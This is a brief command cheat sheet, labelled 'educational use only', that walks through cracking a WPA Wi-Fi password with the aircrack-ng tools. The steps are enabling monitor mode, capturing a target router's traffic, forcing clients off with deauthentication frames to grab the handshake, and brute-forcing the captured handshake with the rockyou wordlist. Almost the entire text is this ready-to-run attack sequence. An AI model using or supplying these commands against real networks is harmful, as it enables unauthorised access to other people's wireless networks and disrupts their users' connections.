This is for educational use only
To stop any Wi Fi connections
airmon-ng check kill
To show your interface
airmon-ng
To start the wifi interface in monitor mode
airmon-ng start wlan0
To show the current clients on the network
airodump-ng wlan0mon
To show the beacons and the clients that are connected, and possibly get the handshake, and writing it to the hack file
airodump-ng -c 1 --write /root/desktop/hack --bssid mac addr of router wlan0mon
To deauthorize the client
aireplay-ng --deauth 5 -a mac addr of router wlan0mon
To start cracking the handshake
aircrack-ng -a2 -b mac addr of router -w /root/desktop/rockyou.txt /root/desktop/hack-01.cap